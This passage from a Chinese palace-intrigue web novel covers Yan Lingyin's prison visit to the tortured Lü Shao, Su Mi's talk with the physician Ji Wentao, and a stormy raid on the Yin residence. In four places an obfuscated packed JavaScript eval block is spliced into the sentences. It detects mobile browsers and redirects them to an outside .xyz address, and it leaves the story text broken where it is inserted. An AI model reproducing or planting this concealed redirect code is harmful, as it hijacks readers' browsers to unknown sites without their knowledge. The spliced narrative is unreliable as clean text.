“姑娘千万不要说这种话。”魏收肃然道,“小人跟着姑娘,并非因为姑娘的出身,也从没想过要姑娘担负些什么。姑娘对魏家恩重如山,江湖上的那些虚名,还不值得魏某为之折腰。” 他脚尖一勾,原本躺在地上的一条枯枝便活了起来,一跃到了他的手中。而他手执枝条,就着巷中的石板路刷刷划了几下。 “但,姑娘要有心理准备。度字卫如今所守,乃谢家盘踞之地,此去路途遥遥,急切难以打探情势。关字卫仍留西域,如今镇在那里的是冷大将军冷霏覃,其夫人安葭夜是贵妃娘娘的胞妹。那里离宛京路程虽然近些,但冷霏覃此人心计极深,既是儒将,也是朝野共知的笑面狼,他对江湖上的动势一向留心,治下也颇有手断,关字卫是否已遭清洗,亦或是否被‘招安’,小人尚不明了。” 说到这里,魏收顿了顿,面有惭色:“毕竟过了这么久,小人不敢断言,说十二卫如今仍愿效忠。” “我明白。”晏泠音轻点了下头,“这些我也想过。十二卫所承恩情是曾祖母的,如今先人已矣,几辈人都换过了,我本没有理由要求你们再走这条路。” 魏收垂了头,一时没有吭声,其后又就着枯枝在地上圈了一笔:“这些年,山字卫只怕遭劫最重,当年陛下征南之战极其惨烈,南地的江湖门派受其波及,多有被灭门的。山字三卫,如今也不知是否还在人世。” 他说得痛切,压得晏泠音心上也沉甸甸的。她定了定神,又问道:“那京中其他两卫呢?魏大哥可有他们的消息?” 魏收迟疑道:“姑娘有所不知,北、西、南三地,晏主传讯不易,因而三卫联系紧密,音信互通,以其中年最长者为尊。但京中三卫直接受命晏主,职责各异,彼此向来也并无交情。” 晏泠音不觉蹙眉:“就没有办法了吗?” 她看着魏收手中的枯枝轻转,最后在代表宛京的那个圈中重重一点:“晏主的规矩,非有极大违变,京中三卫不得私聚。但若事出紧急,亦有一法可以召齐三卫。” 他拿脚尖搅乱了一地尘泥,那条枯枝在他手中应声断成数节。 “姑娘可要想好,待走出这一步,就不再有回头的路了。” 没有回头路么,晏泠音勾了下唇角。 她又何时有过选择的机会? 她的曾祖母耗尽毕生心血,只为给后辈英杰女子铺一条坦途。可事涉权柄,必有人借此苦心钻营,要把它变为自己饱足私欲的捷径。 “弦歌楼一众无辜女子尽数下狱,浥安县两个民庄的居民尽数被迁,生死难料。”晏泠音垂在身侧的手蜷了又松,“一方不会说话的玉玺罢了,何以关乎天命,关乎治世之道?偏偏有人执着于此。我的五哥好棋成痴,是纵横天下的棋手,却当不得天下人的君王。” 何况,他身边还有一个神鬼莫测的苏觅。 只是…… 晏泠音轻声道:“魏大哥,那首梁上燕,你此前可曾听过?” 魏收不解其意,思索了片刻:“应是近几年的民谣?小人似有耳闻。” “不是什么民谣,”晏泠音垂眸看着地面,掩住了眼中一闪而过的嘲弄,“那是谣谶。有人苦心孤诣把它找了出来,已不容我再退避了。” * 静室内药香清苦,白发白须的老者手执蒲扇,照看着水汽升腾的泥炉。素衣童子轻叩了下打开的门扇,随即走到老者面前,毕恭毕敬道:“先生,已经是第四日了。” 季问陶摇着蒲扇的手顿了顿,叹了一声:“还是在那里吗?” “是,他每日都去京郊陟岵亭,白日燃焰火,若不细看确实很难注意。” 季问陶瞥了眼负手立于外室的男子,取过湿布提了药炉,跟着便站起身来:“我明白了,你先下去罢。” 这一夜黑云积聚,雷雨欲作,敞开的门窗里涌进了肆虐的风,将苏觅艳红的衫袖也吹得鼓动起来。他听见了季问陶的脚步声,垂了背在身后的手,转过身来。 “先生,”他的语调里带了点调笑,“又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431903|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来灌苦药了。” 季问陶没有笑。他这些年操劳愈多,却依旧保养得鹤发童颜,和多年前苏觅刚见他时几乎没什么变化。他看着苏觅皱眉饮尽了药汤,这才开口道:“小公子,老朽要迎贵客了。” 苏觅轻轻搁了碗盏:“先生怎么舍得赶我走。” 他惯会装乖,那种委屈的神色数年如一日,总让季问陶想起他小时的样子。这个孩子天性如此,这样的容貌,这样的性格,只要他愿意,就能讨天下人的欢心。 “回去之后按着这剂药方,一日三服,不得间断。”季问陶两指抵着桌案上的纸笺,将它推了过去,“丸药也照常吃,两月之后,再来换药。” 苏觅看着药方的目光颇有些嫌弃,但在季问陶的注视之下,倒也十分顺从地将纸笺叠好,收入了怀中。 “若是贵客有令,先生会保我吗?” 季问陶看了他片刻:“此方国土,原非小公子久居之地。” “也罢,”苏觅轻笑一声,“这些年,有劳先生了。” 几滴凉雨从窗外打了进来,沾上他血色的衣襟,转眼便洇作暗沉的一团。他那俊美无俦的脸隐在昏黑的暮色里,又被骤然砸落的电闪照亮,似笑非笑间,冶丽如幽冥艳鬼。 相貌太出挑总不是什么好事。这张脸只要见过一次,定然终身都难以忘怀。季问陶先前就为此忧心过,但他能做的实在有限。这世上很多事,本也由不得他。 “小公子,老朽有一个不情之请。” 苏觅颔首道:“先生但说无妨。” “不要同殿下为敌。” 室内一片静寂。窗外树影被狂风吹得翻动起来,映着昏暗的烛光,投照在两人脸上。又是一道电闪,将天地都映得彻亮。 雷声在天际轰然炸响时,苏觅眯了眯眼,勾了唇角。 “不会的。” 他似叹似笑:“我怎么会与……殿下为敌呢。” 他将殿下两个字念得又慢又轻,眼眸很亮。 “三年前,殿下便因东云台之事心灰意冷,又为了保江家,不惜收手放权,闭于秘书阁三年不问朝事。她现下一无所有,自然也不会是我的仇敌,反而堪当助益。” “她早已是局外人,可是先生,若天意要她被卷进来,谁又能把她长久拦在外头呢。” 季问陶默然半晌。 “那便请小公子日后多一分顾念,留一丝慈悯。哪怕是为了老朽,为了老阁主当年以死相护的情谊。” 苏觅缓缓站起了身。耳畔风凄雨晦,如有哀声。 “先生之教,”他躬身作礼,发间一点玉冠莹莹,“晚辈铭记在心。” 22. 肺腑 一夜狂风大作,电闪雷鸣。第二天晏泠音起身时,窗外还是一片浓得化不开的墨色。她就着微明的烛光换了暗色衣裙,又让青荷替她挽了女官的发式。 “今日这么大的雨,殿下还要入阁吗?” 晏泠音自昨夜起便一直沉默,也不知魏收那封短信上写了什么。她拦了青荷替她描画眉眼的手,应道:“不是入阁,是出宫。” “这怎么行?”青荷一惊,立时便忧道,“且不说路不好走,奴婢这个月能领到的假,可都被殿下用完了。今次若要出去,被盘查到了该如何说?” “这种天气,守卫也会松懈,混出去不难。”晏泠音喝了半口冷茶便起了身,“何况有人帮我。” 青荷还来不及问那人是谁,晏泠音已大步往门口走去。但行至一半,她却忽然停住了,青荷顺着她的目光看去,便望见了尚散着长发、未及梳洗的淑妃。 “泠儿,”她语声温和,“雨大风急,今日就在殿中歇息吧。” 迟疑之色在晏泠音面上一闪而过。她定了定神,冲温敏露出一个毫无破绽的笑:“多谢母妃。只是明日有新卷入阁,我还有些旧册未理,今日不去,只怕明日忙乱。” 淑妃默然片刻,终是叹了口气,颔首道:“既如此,你路上小心。” 她极少在这样早的时辰来看女儿,晏泠音心下惑然。她不知温敏是否猜到了什么,亦或是仅为放心不下,才来叮嘱一番。 她脸上仍挂着笑:“泠儿明白。” 临出门前,她随手取了把青伞。眼见淑妃的身影消失在佛堂门后,她回身拦住玉染:“不必跟着我。” 玉染一下子瞪大了眼睛:“殿下……” 晏泠音抬眸看向青荷,在她的示意下,青荷虽面有忧色,却还是抬手揽过了玉染的肩。 “你毛手毛脚,只怕伞都能给殿下弄丢,换个人陪殿下去,我才放心。” 玉染瘪了瘪嘴,还未来得及争辩,晏泠音已撑开了伞,步出了门外。 氤氲的湿气扑面而来,她如同走在一片凶险的雾海里。夏季的风没有如刀割面的凌厉,却更恣肆、更狂妄,带着山崩海啸的灾异味道。衣裙很快便被打湿,碎发分作几绺贴在脸上,发尾不时有水珠滚落。雨幕蔽日遮天,她看不清脚下的路,背却依旧挺得笔直,手中的伞也未有分毫摇动。 宫门处,晏泠音透亮的眼眸半隐在伞下,和一个打着呵欠的侍卫对上了视线。 “放行。” 魏收早已等在宫墙外。他没有打伞,披着墨一样的油衣,面上满是纵横的水渍。他疾走几步赶到晏泠音身后,在呼啸的风声里艰难开口:“晏主,小人已经探查过,方狱四面防得跟铁桶一样,只侧门守卫稍松懈些。昨日吕绍的供状呈入了宫,主审的大人得了歇,今日也不在署中。趁天色暗着,小人可以送晏主进去,只是不能多待。” 晏泠音紧抿着唇,点了下头。 刑部大门前灯烛煌煌,在昏沉中破开一道银亮罅隙。魏收带着她绕至了侧门。挑水卖菜的杂役每隔半月便从这儿走一趟,京郊菜农不多,魏收便是其中一个。 “小人在这里守着,”锁舌弹开的轻响淹没在雨声里,魏收的嗓音也压得很低,“难保有京中卫官巡查至此,晏主快去快回。” 晏泠音合了伞,抖落了附于伞面的水滴。冷雨刺得她面色苍白,但踏入狱中时,更深更重的阴寒气骤然罩了上来。 这个季节的方狱其实说不上有多冷,关键在于,它是由铁锈、腐肉和坏骨堆出来的囚笼。它和数道石墙之外的民居不同,它没有活人的气味。里面的走肉行尸少有求生之念,唯留欲死之心。 但他们当然死不了。有资格看护这些囚犯的大夫都不寻常,要心狠,又要心善,能看着他们在地狱里挣扎,又能担着风险,亲手把他们拉出鬼门关。 比如崔婉。 膝盖处的隐痛忽而变得令人难以忍受,晏泠音每走一步都像行于刀尖。她冷着面色,目不斜视地走过隐有唧哝声的监牢,直至拐过弯去,停在了一间单人牢房门前。 牢房外悬着一个“危”字。 男子污血斑斑的囚服已看不出原本的颜色。他没有睡那张潮湿阴冷的石床,而是蜷缩在地上,背朝着门。许是暴雨砸落屋瓦的哗声太响,又或是他已经被折磨得不知人事,那人似乎并未察觉晏泠音的到来。 晏泠音以伞撑地,屈了膝盖。 一同经历了铭心刻骨的重大事件后,人与人之间是会产生无法言说的感应的。而她在见到吕绍的第一面便清楚地意识到,这个人,是杜慎的学生。 是三年前下过狱,亲眼看着老师惨死的人。 过去三年像一个荒唐的梦境,以至于她一时发不出声音。她不知道当自己轻唤出口时,转过脸来的那个人会是同辈的青年才俊,还是憔悴得形销骨立的老者。 “……吕公子。” 没有人应她。 “二郎。” 一阵丁零当啷的响动过去,地上的人缓慢翻过了身。他瘦得可怕,目光涣散,手臂和腿骨以奇异的角度扭曲着,怔怔朝晏泠音看了过来。 似乎只是出于听到那个称呼时的本能。 昨日刑部再审吕绍一案,午后一纸供状便呈入了雍平殿。但那还不是全部。 吕绍请求面圣详陈。 这样的状态,他要如何面圣? “二郎,”晏泠音轻声道,“你受苦了。” 吕绍依旧呆望着她,对这句话并无反应。 “如今的案情还在复核,判决未下,我或许能够帮你。”晏泠音恳切道,“我知道你没有害人,这件事也不可能和老师有关。只要找到证据,我一定会救你出去。” 吕绍看了她半晌,慢慢笑了起来。 “闻公子。”他的嗓音哑得厉害,咬字也生涩,只那模糊的笑意如鬼魅般缠在字句里,令人遍体生寒。 “别来无恙啊。” 他再不是当年谦恭儒雅的学子模样,因而这句不合时宜的问候也格外突兀。他似乎想坐起身来,但因为四肢俱废,实在使不上力气,只得作罢。 “秘书阁里的日子可清静?”他语声嘲哳,“原来你还记挂着老师,可老师舍命保你之时,怕是没想过会有今日。” 晏泠音的手握上了满是锈痕的铁栅,她没有出声。 “当年老师就住在隔壁的牢房里,公子应当不知罢。” 发梢的一滴冷雨滚入她的后颈,凉得惊心。 原来如此。原来他是靠这个说服了吕绍,让他连老母发妻都可以不顾,甘愿以身为饵,诱殷禹上钩。 可是还有哪里不对。一定还有什么是她没能注意到的。三年说长不长,说短不短,为什么他会选在这个时间点动手? 又为什么一定要是吕绍? “是苏觅?”她抬手将碎发拢至耳后,声音听不出情绪,“他和你说了什么?” 吕绍一口气闷在胸前,杂着嗬嗬的痰音,笑得断断续续。那种喘不上气的笑声,有时听起来类同哭泣。 “老师总说,心藏于肺附,论定于盖棺。”他双唇微动,有乌色的血块凝在口边,“如今论已定了,老师却连副像样的棺椁都没有,公子……殿下可悔?” 晏泠音淡淡道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431904|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “悔有何益。” “悔有何益!”又一阵丁零当啷的声响,吕绍竟强撑着朝她爬近了一步,脸色因为剧痛而泛了白,“殿下何其豁达,什么都能放下,可是我不行,我们……不行。” “……我们?”晏泠音神色微变,“还有谁?” 她心脏忽然停跳了一拍。这几日里,江渊然连一条口信也没有给她捎过。 而吕绍这个案子人证物证俱在,又有殷禹在背后推波助澜,本不至迁延到这个时候。 “殿下顾虑颇多,不敢替老师伸冤,那就我们来做。”吕绍那双眼睛几乎不见眼白,黑得像两个窟窿,一眨不眨地望着她,“殿下早就知道那人和殷家有关系,却一直藏着不肯说出来,对吗?” 宛如一桶冰水当头泼下,晏泠音浑身冷得发痛。她握紧了手中的铁栅,咬牙道:“是,当年诬陷先生的老仆如今就在殷家,可他已精神失常,既聋且哑。殷禹留他是太后的意思,因为他跟着崔少丹上过战场,救过崔将军的命!”她声音发狠,“他已成废人,可殷禹何等敏锐,一旦察觉到不对,立刻就会斩草除根,彻底断了这条线!” “果然如苏公子所说,”吕绍叹道,“殿下……” “苏觅,”晏泠音反问道,“他到底是要查旧案,还是动殷家,吕公子难道看不出吗?这只是他随用随弃的第一步棋!” “那也得查!”吕绍倏然圆睁双眼,目中带血,“殿下长于绫罗绮绣,闭于金台玉阁,确实有太多事不能做不敢做。可我们既然不幸活了下来,就出不得那方地狱了。被人利用还是抛弃,活着还是死了,又有什么分别?” ……有分别的。 晏泠音的手缓缓垂下,指腹上已蹭满了暗色红锈。吕绍说得没错,她确实有太多事不能做、不敢做。她投鼠忌器,想护的人又太多。吕绍恨她,也是应该的。 苏觅的许诺太过诱人了,当年之事沉沉压了三年,他们这些失了老师和同窗的人,谁都想找到契机抽丝剥茧,把旧案彻底翻过来。 可若无十成准备,走错一步便是万劫不复。 “皇兄不喜欢老师,”晏泠音的声音已经平静下来,语调间的寒气却更重了,“那桩案子也绝不止一个殷禹这么简单。他随时可以反悔,吕公子凭何肯定他会帮你到底?” 吕绍看着她,那种目光忽然变得相当陌生。 “殿下或许还不知道,”他轻声道,“江少卿要回家了。” 屋外雨骤风急。潮湿的冷风灌进方狱,将晏泠音早已湿透的衣衫吹得紧贴住身体。她听见了两声嘎哑的鸡鸣,那是她和魏收定好的暗号。起身的动作是机械的,她的脑中一片混沌,只剩吕绍那句意味不明的话。 江渊然要回家了。 江父供职于工部,为人谨慎,本是朝中的中立一派,近年来却与晏眆走得颇近。三年前江渊然出狱的半月后,就和父亲断了关系。 她的身子忽而又沉了下去,对上了吕绍幽暗的眼:“吕公子,教你偶术的人有没有说过,偶术忌纸灰?无论你当初想求的是什么,撒上纸灰之后,一切就都结束了。” 鸡鸣响了第三声。她已不能再耽搁下去。可吕绍的身子突然颤了一下,眼睛也陡然睁大了。 “你撒谎!”他厉声道,“怎么会……不可能!” 晏泠音垂眸看他,脸上没有表情。 “不可能……不可能……”他哆嗦着唇喃喃自语,“若是如此,阿瑾怎么会……” 晏泠音抿住了唇,回身欲走,吕绍的声音急迫地在身后响起,绝望而凄厉:“求你,求你救她!其他事都来不及了……求你救阿瑾!” 23. 蛛丝 吕绍这一案,有一个晏泠音一直想不透的点,那便是他和殷若瑾的关系。 吕家不富裕,连住处都狭小阴湿,可院中却栽满了花木。她那日粗粗一瞥,还能认出几株堪称名贵的花种,要养护它们不只要花心思,更要花银子。殷若瑾爱花,当年也是在赏花时节同吕绍相遇,但莳花弄草这种闲雅之事,对吕绍微薄的俸禄而言,实在是太奢侈了。 再如吕家厅堂里挂着的那幅画,每一笔都描摹得极尽细致。那是缠裹着情思的画笔才能画出来的神韵,她能肯定,早在画者落笔前,就已经用目光将画上的女子勾绘了千万遍。 她还记得,十五年冬日,向来没缺过半堂课的吕绍忽然连请了十日的假。那一年冷得厉害,殷若瑾着了寒发了热,吕绍日夜不休陪着她,请大夫、抓方子、替她擦洗降温,都是他一个人做的。时近年末,银两周转不来,吕绍把他视若珍宝的字画都贱卖了,贩子知道他急用钱,变着法子压价,而他应得干脆,没有一丝不舍。 旁人或许会说,他对殷若瑾好,只是做做表面功夫来讨好殷禹罢了。可事实真的如此吗?他若真的生性凉薄,有攀附权贵之心,会躺在刑部的大牢里,冲她声嘶力竭地喊“那也得查”吗? 东云台学子虽众,真正得杜慎青眼的却也只寥寥。她不信杜慎会看错人。 而至于殷若瑾,应当也是对吕绍有情的。三年前吕绍在狱中被打得遍体鳞伤,气息奄奄,狱卒都以为他死了,将他扔去了坟场,是殷若瑾独自摸去了乱葬岗,一具尸体一具尸体地翻找,将还留有一口气的他背回来的。也是她四方奔走为丈夫筹谋,让他终于洗脱罪名,留得性命被外放出京。那已不是少年夫妻间的青涩好感,而是生死伴侣间无需言语的海誓山盟。 既然能耐得住贫贱,又相互扶持着跨过了人生的大劫难,他们两人何至于此?那句凄哀狠厉的“长与君绝”,分明是隐在“白首同归”的愿景之下的。四个字墨色太浅,笔力太轻,似乎吕绍并没想过让其他人看见。他不是要它变成决裂的宣言或恶毒的咒诅,而是要借它提醒自己,它是在他万般复杂的挣扎心境下,悄悄地写给自己看的。 就像……江渊然藏在纸笺背后的那两句一样。 他在外的潦倒颓唐,在狱中的狠毅倔强,一面对妻子用血偶,一面又哀切地求人救她,这些悖谬之处实在太过不合常理,简直像是两个人。 ……两个人? 吕绍不是有一个早夭的孪生兄长? 晏泠音忽然打了个寒噤。她觉得自己隐隐摸到了一条线,可它就缠在一大堆无头的乱麻里,让她无法轻易抽出。 魏收在一旁担忧道:“晏主不会是着凉了罢?”他说着便要解了身上的油衣给晏泠音披上,却被她哑声制止:“别停。” 她被魏收带着,在辨不清路的暗色里向殷宅狂奔。那把青伞早已被风吹折,她掷了伞,任暴雨纷乱地砸在身上,口鼻间的雨水更是呛得她难以呼吸。但就在这样难熬的境况里,她的头脑竟有了意外的清明。 苏觅并不刻意遮掩吕绍和弦歌的往来,吕绍在浥安县任职之时,弦歌正也离了宛京回乡探亲。而她既迫不得已入了风尘,照理来说应是无亲可探的,这一点必然会引起怀疑。任谁这样顺藤摸瓜地查下去,都该发现不对了。 或许……这正是苏觅想要的。他做得小心,将旁人的注意力引到弦歌身上,掩盖住了那无端消失的两个民庄。迁民是耗时耗力耗银子的事,吕绍的政绩簿里也没有这一笔。如果不是为了隐瞒吕绍和弦歌的结交,又是为了什么? 吕绍的兄长,就是被寄养在北方的山村里的。 暗线被晏泠音慢慢理出,一时热血上涌,竟缓解了她全身发麻的冷意。她居于深宫,自小被看管、被教导,以至于包括她自己在内的许多人都忘了,她其实有相当强烈的好奇心。 《南疆志》里写了什么?东云台中会上什么课?母妃那些奇怪的话又是什么意思? 她会问,会查,会盘根究底把一切弄得水落石出。直到她不能问、不能查了,她才开始学会沉默,开始对身边的一切表现得漠不关心,了无兴趣。 可她的心是野的,那是她的天性。哪怕曾经被长久压制, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431905|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被着力规训,但骨子里的东西,怎么可能轻易改换。 苏觅不仅能看到这一点,还能巧妙地把它挑拨起来。他总是有意无意地将线索放给她,诱着她往前迈一步,再迈一步。 他知道她无法抗拒秘密。 晏泠音伸手抹了把面上的雨水,神色忽然就冷了下来。 “魏大哥。” 她的语气不同往常,魏收脚下不敢停,只应了一声:“晏主?” “浥安县的两个民庄,确实是被搬空了?” 魏收此前已同她汇报过,知道她既然又问,其中定然有什么关窍:“小人查访过。那儿房舍虽然还在,但已尽数空了,不仅人走光了,连半点值钱的物什也没留下。” 晏泠音静了片刻。 这不像晏眆的风格。 她那位皇兄心狠手辣惯了,若真要掩藏什么,必会彻底清理不留后患。他不会花费大力气去迁庄,只会做些……放火烧庄的事。 “能否查到究竟去了何地?” 魏收不觉生了些愧意:“小人本事有限,迁庄事过去许久,凡有蛛丝马迹都给埋干净了,怕是难查。” 说到底,还是晏泠音身边能用的人太少。他说完便咬了咬牙。飞字第二卫代代相承的是飞鸿剑法,要论单打独斗,天底下他也没怕过谁,可探寻幽隐、排查线索的事实非他所长。十二卫里不是没有耳听八方的高手,据传在那人最鼎盛的时候,一夜之间能查明整个洛京。当年晏无怀之所以能稳住动荡的局势,他居功甚伟。可惜魏收虽放了几日的焰火,却依旧没联系上任何一卫。 难道十二卫真的气数已尽? 他正恍惚,耳边晏泠音的声音又把他拉回了神:“吕绍外放不到三年就回了京,但在地方任上也没什么大功绩,调他入京的会是谁?” 这话不像是问他的,魏收拿空着的手挠了挠头。主子语气不对,弄得他也莫名紧张起来。 “人事调动经由吏部,”晏泠音语气很淡,听不出情绪,只带了点意味不明的笑意,“老师才刚走,有人的手,就已经伸进六部之中了。” 24. 劫人 殷宅大得绕人,早超了这个品级的官员应有的规制。今日路上惟见雨而难见他物,晏泠音双目被雨水胀得发痛,每走一段就要魏收停下,仔细辨认。 正疾行间,魏收忽然一个急转,带着她避去了一丛灌木后面。 “晏主,”他低声道,“那里有人。” 晏泠音顺着他手指的方向看去,只见一片浓稠的黑。暴雨噼啪砸落,地面积水飞溅,波纹还未漾起就已被搅得稀碎。 这样的天色,这样大的风雨,对有心人而言,无疑是天赐良机。 “七个。”魏收的声音里难得透出几分警惕,脊背微微弓起,右手已按上了剑柄,“全是高手。” 一道闪电直贯而下,照彻天地的瞬间,也让晏泠音短暂看清了那一块的情状。树影幢幢,被号泣的风撞得猛烈摇晃,其间隐着几间未点灯的屋宇,撑出昏暗的巨大轮廓,像蛰伏在夜色里的兽。 训练有素的黑衣人沉默着伫立在树下,散成扇形将屋宇围住,几乎与黑暗融为一体。 殷宅的侍卫不会站在这儿淋雨。显然他们和她一样,是此地的擅闯者。什么样的要紧事能出动这么多一流高手?在这宛京城中,又是什么人能将高手们召集? 晏泠音眯起了眼。 她这三年确实毫无动作,京中的蜚语流言,后宫里的明枪暗箭,她一概不听不问不想。这不是因为她自视太高不屑相争,而是她对杜慎愧疚太深,不欲替自己辩驳。 但正因为愧疚,她不可能真的脱身出去。她对外淡漠疏离,从没恨过谁,却也一直没放弃寻找一个人的下落。 那人是杜慎的家仆,姓夏,半张脸被火烧得狰狞可怖。他穷饿潦倒于街巷时为杜慎所救,此后便一直跟着杜慎,忠心不二。 起码表面如此。 “魏大哥,”她在扑面的潮气里轻声开口,“如果对上他们,你有几成把握?” 魏收默了片刻:“若只我一人,脱身不难。” “好,”晏泠音微微颔首,“我要你从他们手上抢一个人。不可恋战,敌不过就走,去西墙外等我。” 这话显然是要和他分头行动,魏收那句“晏主”已到了口边,可对上晏泠音寒潭般的眸光后,又生生咽了回去。 “那是……什么人?” “是他们要劫的人,”晏泠音抬眼看了看墨云翻涌的天,“他不能死。” 狂风忽停,就在那一刻,七个石雕般的人同时有了动作。他们悄无声息地散开了包围圈,又骤然收拢,门窗碎裂的声响隐在哗然雨声中。 五个人纵身而入,剩下两人立在屋外,谨慎四望。魏收正凝神辨别屋内的响动,忽而神色一变,来不及回身,已抽出飞鸿往身后刺去。 兵刃相接必然会带出铿然声响,持剑的两人显然都意识到了这点,在最后一刻强行转过力道,堪堪避开了那一击。魏收虎口生痛,被那股冲力带着往旁让了一步,转身对着那人怒目而视。 能接近他一丈之内而不被发觉的,至今也只有一人而已。 大雨瓢泼,阿承一身夜行服,和他们一样被浇得透湿。那柄长而轻薄的剑仍被他提在手中,没有回鞘。 “既然遇上了,”他看着魏收,慢慢开口,“就凭本事抢人。” 许是他年纪太轻,身形瘦小,平时又总是一副不靠谱的懒散样,哪怕知道了他的身份,也很难让人生出惧意。可今日他拎着剑立在浓黑的雨幕里,明明什么都没做,却那样清晰地散出了杀气。 是因为眼神罢,魏收想。那是鹰隼振翅前望着猎物的眼神,带着暴戾。 他能看出来,晏泠音也能。在某种程度上,她看得比魏收更细。 阿承在为一件事担心。 对上魏收,还能心大到溜人玩的少阁主,什么事能逼他收起漫不经心的姿态,明晃晃地摆出“我心情差别惹我”的神色来? 她从魏收身后缓步走出,停在阿承面前。 “你主子在哪儿?” 阿承面色微变,垂了眼皮没有吭声。 苏觅不是她,手上有一整个逐风阁能用,阿承是他的贴身侍卫,出现在这里,本身就很奇怪。 但这同时也暗示着,苏觅和她一样,无论如何都要夺下屋内那个人。 “难不成是我猜错了,”晏泠音笑了一下,“那些人不是五哥的?” 阿承的脸色更差了,憋了半天憋出一句:“……他也不是什么都听公子的。” 这话倒是有意思,但晏泠音现在没兴趣深究。她上前半步,把声音又压低了一点:“夏老伯要是出了事,我和你家公子的交易也就完了。” 阿承显然听了进去,却没时间答她了。 身后传来动静时,三个人都立直了身。进屋的五个只出来了四个,彼此依然没有交谈,其中一个背着麻袋。 魏收看了眼晏泠音,她轻点了下头。他又瞥过眼去看阿承,正巧同他对上了目光。 形势所迫。几秒后,阿承也不情不愿地点了点头。 下一刻,啸风四起,两道身影已如利箭般射了出去。 这不是一场轻松的仗。八道身影皆飘忽如游魂,迅捷而沉默地缠斗在一处。晏泠音早已辨不清谁是谁,哪怕她看得再仔细,隔着雨幕,也只能偶尔觑见一串扬起的血珠。 她帮不上忙的。该走了。 晏泠音攥紧了手,掌心里那些不能经水的伤口早开始隐隐作痛。在这样的大雨里光是睁开眼都十分艰难,她又抹了把脸上的雨水,转过身疾走起来。 为了查夏老伯那件事,她费了大力气拿到殷宅的布局图,却不想用在了此刻。 再往前绕一段,便是殷若瑾的卧房。 闷雷的轰鸣就响在头顶,狂风嚣叫,似要把地上的一切都连根拔起。晏泠音一向不喜欢雨天,不喜欢那种潮湿的、仿佛长了触角的绵密空气,可站在这场仲夏的暴雨中时,她却嗅到了一丝久违的味道。 自由。 她是被囚于笼中的雀鸟,此时却隔着铁栅,用血肉模糊的翅膀,触碰到了令人战栗的广阔天地。 她想要跑,想要叫喊,想要站在最高的山巅上大口大口地呼吸。 但她只是抿住了唇,拉紧了被雨浸湿的衣襟。 已经能看到那方栽着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431906|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花木的小院了,明黄的烛光从窗扇中透了出来。晏泠音朝它走了几步,却忽然直觉哪里不太对劲。 背后有人! 她几乎是下意识地闪身避往一旁,一只短箭堪堪擦着她的肩膀飞过,撕下了半片布料,轻颤着钉在了不远处的地面上。 殷宅的侍卫,到底是被惊动了。 晏泠音屏住了呼吸。她闪身进了小院,紧贴住黏湿冰凉的院墙,悄无声息地挪到了一只水缸后面。缸中养着的莲花已被暴雨打得耷拉下来,在水面上惊疑不定地颤动着。 这里是视线死角,天色还暗着,只要侍卫不近前查看,多少能躲上一阵。晏泠音扶着缸沿,正要矮下身去,垂在身侧的右手却忽然被握住了。 她心脏狂跳,硬生生地把那声惊呼压了回去。 借着窗扇里透出的微弱光线,晏泠音回身看见了那个人。两人的目光对上时,连疾骤砸落的雨都像是停滞了一瞬。 她从牙缝间挤出几个字:“……好巧。” 她知道自己的脸色定然白得像鬼,但苏觅比她有过之而无不及。他没戴面具,灯光在他脸上晕开一小团暖色,更衬得那两片薄唇纸一般煞白。 不知是不是因为她身上太冷了,竟觉得苏觅的手也带了点微温。他避开了她掌心未愈的伤口,虚虚握上了她的手腕。 “怎么这就碰了水,”他眉间蹙起,嗓音却是轻轻柔柔的,“会落疤的。” 晏泠音把手往回抽,没抽动,那人的力气出乎寻常地大。他那双细长的狐狸眼中黑白分明,平时总是微扬着的眼尾此刻却垂落下来,看着有些闷闷不乐。 晏泠音觉得他可能疯了。 怕惹出动静,她一时不便再挣扎,只能先紧挨着苏觅蹲下身。他和她一样浑身是雨,罩衫连着里衣,都被雨浸得沉甸甸的。 “伞吹坏了,”他轻声向晏泠音解释,“不然就给姑娘撑了。” 